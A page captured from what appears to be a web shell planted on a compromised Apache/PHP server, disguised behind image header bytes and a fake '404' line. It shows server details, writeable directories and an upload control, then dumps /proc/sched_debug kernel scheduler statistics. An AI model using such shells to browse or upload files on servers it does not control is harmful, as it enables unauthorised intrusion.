����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1127.10.1.el7.x86_64 #1
ktime                                   : 4683999064.227401
sched_clk                               : 4684023175.143033
cpu_clk                                 : 4684023175.143101
jiffies                                 : 8978666361
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2097.570 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 2382208090
  .nr_load_updates               : 1585964179
  .nr_uninterruptible            : -9447
  .next_balance                  : 8978.666369
  .curr->pid                     : 0
  .clock                         : 4684023178.715798
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 512
  .cpu_load[2]                   : 256
  .cpu_load[3]                   : 128
  .cpu_load[4]                   : 64
  .avg_idle                      : 772676
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 751307327.388225
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 36
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1221
  .avg->runnable_avg_period      : 47743

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 850.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 751307318.570576   4133251   120         0.000000   1249530.478046         0.000000 0 /
    kworker/0:0H     4      1703.725499         7   100         0.000000         0.048255         0.000000 0 /
     ksoftirqd/0     6 751306852.970118   3765857   120         0.000000     72789.228258         0.000000 0 /
     migration/0     7         0.000000    167718     0         0.000000      8531.885565         0.000000 0 /
          rcu_bh     8        24.854573         2   120         0.000000         0.001619         0.000000 0 /
   lru-add-drain    10        28.855684         2   100         0.000000         0.002478         0.000000 0 /
      watchdog/0    11         0.000000   1171002     0         0.000000     30746.145952         0.000000 0 /
    kworker/0:1H   294 751303557.672467   6820788   100         0.000000    111837.359033         0.000000 0 /
          auditd   520 751307088.235656   4841722   116         0.000000    387558.407874         0.000000 0 /
      irqbalance   570 751306277.217909    468704   120         0.000000    261489.190296         0.000000 0 /
           gmain   579 751307318.464144   1171111   120         0.000000    131930.864548         0.000000 0 /
           tuned  1049      3482.752754         2   120         0.000000         0.353762         0.000000 0 /
          mysqld  2302 751307310.112380 502529363   120         0.000000  12191728.030834         0.000000 0 /
          mysqld  2410 751306710.422425    936780   120         0.000000     68776.172691         0.000000 0 /
          mysqld 28579 751307308.699929      2912   120         0.000000     10313.942635         0.000000 0 /
          agetty  9384     30601.974312         7   120         0.000000         5.456240         0.000000 0 /
   kworker/u10:2 29445 750891649.750774     68416   120         0.000000     71215.397132         0.000000 0 /
     kworker/0:1 24142 751307308.807005    150199   120         0.000000      4487.143057         0.000000 0 /
           httpd 13327 750188874.352789         4   120         0.000000         1.874946         0.000000 0 /
           httpd 13330 751305479.944232     14493   120         0.000000     19999.462930         0.000000 0 /
           httpd 13331 751305089.093216     14842   120         0.000000     20331.776215         0.000000 0 /
           httpd 13336 751305674.057611     13762   120         0.000000     19731.496500         0.000000 0 /
           httpd 13352 751303399.724988     13514   120         0.000000     19299.525323         0.000000 0 /
           httpd 13353 751301959.522210     20751   120         0.000000     22642.487861         0.000000 0 /
           httpd 13363 751306067.825992     30323   120         0.000000     34837.075431         0.000000 0 /
           httpd 13373 751305449.289917     13733   120         0.000000     18427.175778         0.000000 0 /
           httpd 13375 751307179.278835     12836   120         0.000000      1112.443412         0.000000 0 /
           httpd 13328 750188874.352719         4   120         0.000000         1.589444         0.000000 0 /
           httpd 13357 751307310.653099     14255   120         0.000000     19558.752118         0.000000 0 /
           httpd 13366 751305283.289972     13993   120         0.000000     18786.475546         0.000000 0 /
           httpd 13374 751303399.933628     14155   120         0.000000     20378.728062         0.000000 0 /
           httpd 13382 751305493.491834     13896   120         0.000000     19495.299771         0.000000 0 /
           httpd 13384 751304314.819390     13646   120         0.000000     20291.774413         0.000000 0 /
           httpd 13387 751306903.960671     21484   120         0.000000     25701.716689         0.000000 0 /
           httpd 13396 751305087.886756     17007   120         0.000000     23414.782760         0.000000 0 /
           httpd 13397 751307066.090429     12838   120         0.000000      1125.369150         0.000000 0 /
           httpd 13344 750188874.352562         4   120         0.000000         1.657510         0.000000 0 /
           httpd 13419 751306541.751454     23442   120         0.000000     28923.356457         0.000000 0 /
           httpd 13424 751303419.515808     14531   120         0.000000     21079.231539         0.000000 0 /
           httpd 13431 751306434.520107     13650   120         0.000000     19862.255100         0.000000 0 /
           httpd 13451 751304088.346422     26248   120         0.000000     25900.685727         0.000000 0 /
           httpd 13461 751305531.550769     13623   120         0.000000     18658.099994         0.000000 0 /
           httpd 13398 750188874.355561         4   120         0.000000         1.369063         0.000000 0 /
           httpd 13407 751304089.836976     21268   120         0.000000     24816.040831         0.000000 0 /
           httpd 13416 751306450.534942     23083   120         0.000000     26149.594901         0.000000 0 /
           httpd 13464 751306711.695472     13071   120         0.000000     19261.255420         0.000000 0 /
           httpd 13473 751305348.317216     15107   120         0.000000     20783.897969         0.000000 0 /
           httpd 13474 751306479.430913     14644   120         0.000000     20657.415434         0.000000 0 /
           httpd 13484 751305136.750873     13146   120         0.000000     18656.811387         0.000000 0 /
           httpd 13486 751307322.373889     16066   120         0.000000     26417.919577         0.000000 0 /
           httpd 13509 751307179.305167     12838   120         0.000000      1106.982670         0.000000 0 /
           httpd 13468 750188874.352435         4   120         0.000000         1.691051         0.000000 0 /
           httpd 13497 751303557.784023     21859   120         0.000000     28823.375872         0.000000 0 /
           httpd 13524 751303637.891785     13761   120         0.000000     20259.240685         0.000000 0 /
           httpd 13525 751306325.743300     13429   120         0.000000     18814.686902         0.000000 0 /
           httpd 13528 751305493.271886     14865   120         0.000000     20157.056342         0.000000 0 /
           httpd 13534 751304080.788576     13942   120         0.000000     21235.960234         0.000000 0 /
           httpd 13535 751305127.396506     14303   120         0.000000     19552.952983         0.000000 0 /
           httpd 13530 750188874.352484         4   120         0.000000         1.528679         0.000000 0 /
           httpd 13546 751305251.021451     14848   120         0.000000     20760.613982         0.000000 0 /
           httpd 13551 751305500.035361     15111   120         0.000000     21473.521610         0.000000 0 /
           httpd 13553 751303399.773935     21189   120         0.000000     26037.516906         0.000000 0 /
           httpd 13562 751304933.156049     15995   120         0.000000     22622.521208         0.000000 0 /
     kworker/0:0 14725 751028492.953865         2   120         0.000000         0.033891         0.000000 0 /

cpu#1, 2097.570 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 3073332318
  .nr_load_updates               : 2003222370
  .nr_uninterruptible            : -4281
  .next_balance                  : 8978.666366
  .curr->pid                     : 0
  .clock                         : 4684023178.974686
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 60
  .cpu_load[2]                   : 220
  .cpu_load[3]                   : 247
  .cpu_load[4]                   : 196
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 890151346.085569
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 138844018.697344
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 293
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 6960
  .avg->runnable_avg_period      : 47651

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.988843   1171003     0         0.000000     26383.442891         0.000000 0 /
     migration/1    13         0.000000    167710     0         0.000000      9377.093564         0.000000 0 /
     ksoftirqd/1    14 890151253.412755   4090196   120         0.000000     76457.280104         0.000000 0 /
    kworker/1:0H    16       727.327754         8   100         0.000000         0.065130         0.000000 0 /
           netns    34        36.643332         2   100         0.000000         0.044367         0.000000 0 /
       writeback    36        48.710631         2   100         0.000000         0.016575         0.000000 0 /
     kintegrityd    37        54.723989         2   100         0.000000         0.014348         0.000000 0 /
          bioset    38        60.749938         2   100         0.000000         0.026925         0.000000 0 /
          bioset    39        66.764926         2   100         0.000000         0.015980         0.000000 0 /
          bioset    40        72.788547         2   100         0.000000         0.024728         0.000000 0 /
         kblockd    41        78.804052         2   100         0.000000         0.016481         0.000000 0 /
              md    42        84.840267         2   100         0.000000         0.037405         0.000000 0 /
     edac-poller    43        90.883445         2   100         0.000000         0.044306         0.000000 0 /
       watchdogd    44        96.916651         2   100         0.000000         0.034854         0.000000 0 /
            ksmd    51       139.531774         2   125         0.000000         0.058745         0.000000 0 /
          crypto    53       151.845509         2   100         0.000000         0.011013         0.000000 0 /
        kthrotld    61       200.177130         2   100         0.000000         0.015146         0.000000 0 /
    kmpath_rdacd    63       212.266822         2   100         0.000000         0.019173         0.000000 0 /
          kaluad    64       218.283603         2   100         0.000000         0.017730         0.000000 0 /
       kpsmoused    65       224.304341         2   100         0.000000         0.022244         0.000000 0 /
   ipv6_addrconf    67       233.334435         2   100         0.000000         0.031828         0.000000 0 /
         deferwq    81       292.573227         2   100         0.000000         0.025976         0.000000 0 /
       scsi_eh_0   286       609.256632         4   120         0.000000         0.712673         0.000000 0 /
      scsi_tmf_0   287       556.811846         2   100         0.000000         0.051000         0.000000 0 /
       scsi_eh_1   288       609.295185         4   120         0.000000         0.654801         0.000000 0 /
      scsi_tmf_1   289       574.844806         2   100         0.000000         0.011593         0.000000 0 /
     jbd2/vda1-8   306 890150923.031365  35296305   120         0.000000   1770376.445738         0.000000 0 /
 ext4-rsv-conver   307       673.770453         2   100         0.000000         0.009047         0.000000 0 /
    kworker/1:1H   378 890151284.469695   7615827   100         0.000000    125194.061537         0.000000 0 /
 systemd-journal   391 890151161.996823   2487769   120         0.000000   2046195.028084         0.000000 0 /
         polkitd   551 889870201.703423     41306   120         0.000000      4174.371186         0.000000 0 /
           gmain   567      1201.400250         2   120         0.000000         0.150297         0.000000 0 /
           gdbus   568 889870201.616722     39765   120         0.000000      7595.864647         0.000000 0 /
           gdbus   581 889870201.798416     14759   120         0.000000      4289.852911         0.000000 0 /
       memcached   823 890151327.491741  31112937   120         0.000000   1883268.349979         0.000000 0 /
       memcached   824 890151284.776858  31128993   120         0.000000   1882530.895092         0.000000 0 /
    in:imjournal   847 890151161.369512   7370008   120         0.000000    970719.029489         0.000000 0 /
   rs:main Q:Reg   853 890151161.258332   2934485   120         0.000000    177261.418534         0.000000 0 /
            qmgr  1264 890149172.085851    950478   120         0.000000    278115.142331         0.000000 0 /
          mysqld  2147 890151297.022310  17726904   120         0.000000   1207623.710334         0.000000 0 /
          mysqld  2296      4299.379559         1   120         0.000000         0.049512         0.000000 0 /
          mysqld  2299 890151284.491245   9362984   120         0.000000    363034.630110         0.000000 0 /
          mysqld  2300 890151205.927976  12507378   120         0.000000    465437.987281         0.000000 0 /
          mysqld  2301 890151317.896209 530248532   120         0.000000  13211508.470611         0.000000 0 /
          mysqld  2305 890151204.477734  55275306   120         0.000000    950636.124796         0.000000 0 /
          mysqld  2306 890151204.487542  38640359   120         0.000000    679446.235300         0.000000 0 /
          mysqld  2308 890151204.489888  38611529   120         0.000000    680601.908406         0.000000 0 /
          mysqld 21985 890151254.358064      4403   120         0.000000     19531.814794         0.000000 0 /
          mysqld 26971 890151168.314739      2392   120         0.000000      8946.769600         0.000000 0 /
          mysqld  1189 890151336.221412       761   120         0.000000      3671.961258         0.000000 0 /
          mysqld  3423 890151147.938202        85   120         0.000000        33.660868         0.000000 0 /
           httpd  8570 890151185.281274    283996   120         0.000000     58592.358554         0.000000 0 /
     kworker/1:0  5760 890151327.242939    273496   120         0.000000      6973.163305         0.000000 0 /
           httpd 13332 890147548.135280     14674   120         0.000000     20084.192212         0.000000 0 /
           httpd 13334 890146458.745280     20431   120         0.000000     23529.716925         0.000000 0 /
           httpd 13338 890147668.595525     13273   120         0.000000     18496.004227         0.000000 0 /
           httpd 13340 890151335.023869     14095   120         0.000000     19190.870148         0.000000 0 /
           httpd 13347 890146734.479680     14220   120         0.000000     19749.959503         0.000000 0 /
           httpd 13348 890147157.357725     13227   120         0.000000     19897.900178         0.000000 0 /
           httpd 13351 890150422.298835     14726   120         0.000000     20558.196787         0.000000 0 /
           httpd 13367 890151340.955356     14216   120         0.000000     19321.814095         0.000000 0 /
           httpd 13369 890147720.363010     23990   120         0.000000     28376.733177         0.000000 0 /
           httpd 13358 890147684.822877     14976   120         0.000000     20583.477259         0.000000 0 /
           httpd 13362 890151132.370757     24623   120         0.000000     31435.202890         0.000000 0 /
           httpd 13364 890151058.679466     14683   120         0.000000     25532.587456         0.000000 0 /
           httpd 13370 890148549.562017     15008   120         0.000000     20505.324938         0.000000 0 /
           httpd 13377 890151291.178822     29197   120         0.000000     32676.704873         0.000000 0 /
           httpd 13378 890146798.136706     15542   120         0.000000     22303.674693         0.000000 0 /
           httpd 13380 890147828.961325     15311   120         0.000000     20687.568729         0.000000 0 /
           httpd 13386 890151339.187848     15885   120         0.000000     21810.310446         0.000000 0 /
           httpd 13389 890149432.995230     29235   120         0.000000     30873.964279         0.000000 0 /
           httpd 13393 890150392.612725     15109   120         0.000000     21097.218565         0.000000 0 /
           httpd 13408 890147871.663205     13272   120         0.000000     18831.765959         0.000000 0 /
           httpd 13411 890151291.722476     15492   120         0.000000     21707.348421         0.000000 0 /
           httpd 13420 890150344.658461     22654   120         0.000000     29411.985164         0.000000 0 /
           httpd 13442 890151156.451801     14930   120         0.000000     20507.782725         0.000000 0 /
           httpd 13458 890148179.800470     15007   120         0.000000     22788.314916         0.000000 0 /
           httpd 13463 890151306.589694     15658   120         0.000000     21808.404240         0.000000 0 /
           httpd 13428 890150136.343408     14595   120         0.000000     20052.523869         0.000000 0 /
           httpd 13433 890147363.891997     32802   120         0.000000     41404.969675         0.000000 0 /
           httpd 13435 890146947.980294     14741   120         0.000000     20324.188923         0.000000 0 /
           httpd 13405 888841642.697078         4   120         0.000000         1.447042         0.000000 0 /
           httpd 13470 890149171.988297     15399   120         0.000000     23840.723679         0.000000 0 /
           httpd 13472 890149804.647824     15051   120         0.000000     24488.489715         0.000000 0 /
           httpd 13475 890146650.203156     15109   120         0.000000     22688.407750         0.000000 0 /
           httpd 13478 890147915.534853     13707   120         0.000000     19057.540928         0.000000 0 /
           httpd 13481 890146591.465199     25459   120         0.000000     31262.465267         0.000000 0 /
           httpd 13482 890148136.282361     24025   120         0.000000     34529.689124         0.000000 0 /
           httpd 13485 890151052.865187     14779   120         0.000000     20160.602607         0.000000 0 /
           httpd 13487 890148344.486555     15310   120         0.000000     21691.762961         0.000000 0 /
           httpd 13492 890146591.451926     14215   120         0.000000     19565.610142         0.000000 0 /
           httpd 13494 890150920.789154     14916   120         0.000000     20591.926412         0.000000 0 /
           httpd 13496 890149293.415062     18712   120         0.000000     28725.319805         0.000000 0 /
           httpd 13498 890151308.725622     12917   120         0.000000     17735.863522         0.000000 0 /
           httpd 13505 890150076.069931     14380   120         0.000000     20527.338083         0.000000 0 /
           httpd 13504 890151118.842635     14484   120         0.000000     19895.524000         0.000000 0 /
           httpd 13506 890150353.195891     14534   120         0.000000     19408.579544         0.000000 0 /
           httpd 13512 890147530.538220     14995   120         0.000000     20400.707107         0.000000 0 /
           httpd 13516 890146389.846754     24872   120         0.000000     31488.046069         0.000000 0 /
           httpd 13518 890145926.625670     23594   120         0.000000     28211.283259         0.000000 0 /
           httpd 13519 890146754.872921     14240   120         0.000000     19987.499694         0.000000 0 /
           httpd 13520 890148996.376275     12808   120         0.000000     18263.453144         0.000000 0 /
           httpd 13526 890149530.003679     14010   120         0.000000     18707.642367         0.000000 0 /
           httpd 13527 890149300.293538     21616   120         0.000000     24022.686769         0.000000 0 /
           httpd 13533 890145935.558514     13727   120         0.000000     19452.850811         0.000000 0 /
           httpd 13536 890148944.495735     14006   120         0.000000     19828.665562         0.000000 0 /
           httpd 13540 890148343.458693     15144   120         0.000000     23942.740931         0.000000 0 /
           httpd 13547 890151260.795516     14233   120         0.000000     21146.721163         0.000000 0 /
           httpd 13552 890147711.436277     14085   120         0.000000     20318.438763         0.000000 0 /
           httpd 13554 890147713.632908     14816   120         0.000000     20582.005835         0.000000 0 /
           httpd 13555 890147483.093612     16077   120         0.000000     23922.488914         0.000000 0 /
           httpd 13557 890150992.728403     28632   120         0.000000     29761.180437         0.000000 0 /
           httpd 13561 890151338.528322     13745   120         0.000000     18539.085961         0.000000 0 /
           httpd 13571 890150443.461412     14320   120         0.000000     21535.617389         0.000000 0 /
          pickup  6956 890148947.267792       106   120         0.000000        51.834095         0.000000 0 /
     kworker/1:1 17780 889870201.584661         3   120         0.000000         0.013983         0.000000 0 /
 trivial-rewrite  3556 890149937.983540         5   120         0.000000        17.287411         0.000000 0 /
            sshd  3748 890151162.634774        10   120         0.000000        24.119481         0.000000 0 /

cpu#2, 2097.570 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 3278209137
  .nr_load_updates               : 2780370495
  .nr_uninterruptible            : 26057
  .next_balance                  : 8978.666369
  .curr->pid                     : 0
  .clock                         : 4684023178.776827
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 14
  .cpu_load[4]                   : 90
  .avg_idle                      : 859139
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 667770174.651556
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -83537152.736669
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 372
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 10536
  .avg->runnable_avg_period      : 47756

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/2    17        -1.060699   1171002     0         0.000000     52027.970383         0.000000 0 /
     migration/2    18         0.000000    412369     0         0.000000     42654.087509         0.000000 0 /
     ksoftirqd/2    19 667770166.877704 232724341   120         0.000000  41099105.326401         0.000000 0 /
    kworker/2:0H    21       545.841483         8   100         0.000000         0.070833         0.000000 0 /
      khungtaskd    35 667766063.082902     39035   120         0.000000     12391.754889         0.000000 0 /
      khugepaged    52 667766961.982514    149147   139         0.000000    117984.016175         0.000000 0 /
    kworker/2:1H   300 667770130.655923   7371638   100         0.000000    129790.926079         0.000000 0 /
          auditd   521 667767583.792313    435598   116         0.000000     31896.944453         0.000000 0 /
 JS Sour~ Thread   574      1041.398741         5   120         0.000000         0.159386         0.000000 0 /
         chronyd   562 667751583.098720     49438   120         0.000000     23605.365039         0.000000 0 /
       memcached   822 667770152.355606  31119572   120         0.000000   1883157.707240         0.000000 0 /
       memcached   828      1619.973849         3   120         0.000000         0.072256         0.000000 0 /
           tuned   816 667729567.866649      1853   120         0.000000       514.480618         0.000000 0 /
           tuned  1036 667770012.121267   4678918   120         0.000000    882264.286246         0.000000 0 /
          master  1255 667767394.679558   2482933   120         0.000000    225723.820229         0.000000 0 /
          mysqld  2303 667770153.423087 645645027   120         0.000000  15886906.754831         0.000000 0 /
          mysqld  2304 667770153.997238 554477194   120         0.000000  13310540.388383         0.000000 0 /
          mysqld  2380 667770107.793271   4682998   120         0.000000    399940.320523         0.000000 0 /
          mysqld  2386 667743041.440375   3946000   120         0.000000     65294.334590         0.000000 0 /
          mysqld  2388 667743041.425490   3652137   120         0.000000     61626.199893         0.000000 0 /
          mysqld  2390 667743041.416363   4256273   120         0.000000     73723.150307         0.000000 0 /
          mysqld 19040 667770024.891621      5328   120         0.000000     26890.186648         0.000000 0 /
          mysqld 19601 667770131.722268      5257   120         0.000000     23037.171912         0.000000 0 /
     kworker/2:2  5755 667770130.662187     83478   120         0.000000     22176.018199         0.000000 0 /
     kworker/2:0 32656 665740124.688079         3   120         0.000000         0.044072         0.000000 0 /
           httpd 13335 667766269.295482     14432   120         0.000000     21077.597430         0.000000 0 /
           httpd 13339 667768931.183824     24419   120         0.000000     29458.520648         0.000000 0 /
           httpd 13359 667765554.603520     20512   120         0.000000     22341.688587         0.000000 0 /
           httpd 13365 667769374.403177     20494   120         0.000000     30071.279006         0.000000 0 /
           httpd 13371 667767344.682960     14306   120         0.000000     19569.693216         0.000000 0 /
           httpd 13381 667766282.754159     15438   120         0.000000     20767.049488         0.000000 0 /
           httpd 13385 667767432.675101     30325   120         0.000000     36631.667276         0.000000 0 /
           httpd 13391 667769385.843085     14074   120         0.000000     19253.944930         0.000000 0 /
           httpd 13401 667766632.898950     16744   120         0.000000     21954.993084         0.000000 0 /
           httpd 13409 667766272.542418     13668   120         0.000000     18454.900406         0.000000 0 /
           httpd 13436 667766269.658962     13887   120         0.000000     18616.092179         0.000000 0 /
           httpd 13440 667765689.834403     13623   120         0.000000     19079.603888         0.000000 0 /
           httpd 13449 667765086.367523     19698   120         0.000000     22509.996915         0.000000 0 /
           httpd 13404 667765657.948315     19923   120         0.000000     26367.476882         0.000000 0 /
           httpd 13418 667769289.657773     15212   120         0.000000     20779.509959         0.000000 0 /
           httpd 13425 667765992.912631     21044   120         0.000000     23806.185858         0.000000 0 /
           httpd 13430 667766184.906277     22716   120         0.000000     28773.794298         0.000000 0 /
           httpd 13432 667767250.692166     15038   120         0.000000     21459.817188         0.000000 0 /
           httpd 13437 667767166.739269     15376   120         0.000000     20504.101650         0.000000 0 /
           httpd 13439 667765760.475706     19492   120         0.000000     26067.152633         0.000000 0 /
           httpd 13441 667767427.873693     15564   120         0.000000     21480.184454         0.000000 0 /
           httpd 13443 667770170.577365     14400   120         0.000000     20764.920153         0.000000 0 /
           httpd 13445 667765689.774599     14107   120         0.000000     19587.238806         0.000000 0 /
           httpd 13447 667768145.659497     15292   120         0.000000     21850.033267         0.000000 0 /
           httpd 13452 667769349.117222     14693   120         0.000000     20212.149391         0.000000 0 /
           httpd 13454 667766640.602212     24619   120         0.000000     32041.642627         0.000000 0 /
           httpd 13457 667770054.427107     13762   120         0.000000     19205.113934         0.000000 0 /
           httpd 13460 667767768.145171     14564   120         0.000000     22500.968018         0.000000 0 /
           httpd 13462 667768395.217394     27102   120         0.000000     26673.313864         0.000000 0 /
           httpd 13466 667770012.007703     12840   120         0.000000      1063.652155         0.000000 0 /
           httpd 13471 667769383.730523     15531   120         0.000000     25200.100547         0.000000 0 /
           httpd 13479 667770169.980673     14763   120         0.000000     20552.610046         0.000000 0 /
           httpd 13489 667770165.818049     15331   120         0.000000     21435.050361         0.000000 0 /
           httpd 13502 667766228.664516     27370   120         0.000000     26646.342148         0.000000 0 /
           httpd 13500 667765623.602319     15349   120         0.000000     24003.163140         0.000000 0 /
           httpd 13510 667769449.779069     15377   120         0.000000     21493.235638         0.000000 0 /
           httpd 13514 667770173.804512     13671   120         0.000000     19769.742576         0.000000 0 /
           httpd 13515 667770174.651556     14387   120         0.000000     19893.977166         0.000000 0 /
           httpd 13517 667768187.350730     13400   120         0.000000     20252.441362         0.000000 0 /
           httpd 13566 667768988.579068     15190   120         0.000000     19728.581548         0.000000 0 /
           httpd 13567 667765583.333421     14670   120         0.000000     20355.472942         0.000000 0 /
           httpd 13568 667766587.513023     12654   120         0.000000     19812.454321         0.000000 0 /
           httpd 13570 667765427.913788     28814   120         0.000000     36097.884311         0.000000 0 /
           local  3557 667767146.782158         6   120         0.000000        11.440603         0.000000 0 /
            lmtp  3558 667767146.737715         7   120         0.000000        11.514108         0.000000 0 /
          bounce  3559 667767146.409138         4   120         0.000000        11.196967         0.000000 0 /
           flush  3560 667767155.664393         2   120         0.000000         9.568077         0.000000 0 /

cpu#3, 2097.570 MHz
  .nr_running                    : 2
  .load                          : 2048
  .nr_switches                   : 2968460559
  .nr_load_updates               : 1968894054
  .nr_uninterruptible            : -4034
  .next_balance                  : 8978.666513
  .curr->pid                     : 13395
  .clock                         : 4684023178.929431
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1248
  .cpu_load[2]                   : 976
  .cpu_load[3]                   : 625
  .cpu_load[4]                   : 378
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 899271471.204942
  .min_vruntime                  : 899271480.204942
  .max_vruntime                  : 899271471.204942
  .spread                        : 0.000000
  .spread0                       : 147964152.816717
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2048
  .runnable_load_avg             : 782
  .blocked_load_avg              : 111
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 7035
  .avg->runnable_avg_period      : 46953

rt_rq[3]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 1000.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 898991410.817922      1605   120         0.000000        87.831702         0.000000 0 /
       rcu_sched     9 899271471.204942 1255191427   120         0.000000  16600775.713371         0.000000 0 /
      watchdog/3    22        -5.987520   1171002     0         0.000000     26375.485178         0.000000 0 /
     migration/3    23         0.000000    242317     0         0.000000      8749.903616         0.000000 0 /
     ksoftirqd/3    24 899270854.045685   3550334   120         0.000000     70176.566817         0.000000 0 /
    kworker/3:0H    26       966.355526         9   100         0.000000         0.067030         0.000000 0 /
         kauditd   139 899271165.626395   5337131   120         0.000000    120169.668912         0.000000 0 /
         ata_sff   266       613.335644         2   100         0.000000         0.009377         0.000000 0 /
    kworker/3:1H   375 899270629.283393   7518586   100         0.000000    101814.362446         0.000000 0 /
         polkitd   569      1358.321282         1   120         0.000000         0.130165         0.000000 0 /
  NetworkManager   571 899271472.805239 1136199072   120         0.000000 120995547.206111         0.000000 0 /
